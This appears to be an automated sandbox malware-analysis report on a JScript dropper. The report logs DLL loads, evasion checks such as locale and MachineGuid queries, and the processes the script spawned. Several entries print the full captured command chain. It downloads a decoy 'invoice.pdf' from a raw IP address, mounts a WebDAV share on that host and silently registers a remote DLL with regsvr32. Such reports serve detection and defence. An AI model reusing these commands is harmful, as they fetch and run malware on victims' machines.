Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2696.js.csv");ITextStream.WriteLine(" entry:7533 f:xouvr");ITextStream.WriteLine(" exec:2 f:xouvr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4397			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5290			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136	Thread sleep count: 4397 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136	Thread sleep count: 5290 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6332	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3748	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5160	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4896	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7260	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2228693455.0000021F1E51D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2228248678.0000021F1E4B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3439744789.000001EFF3055000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3439712192.000001EFF3042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3438515524.000001EFEDA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2228693455.0000021F1E51D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
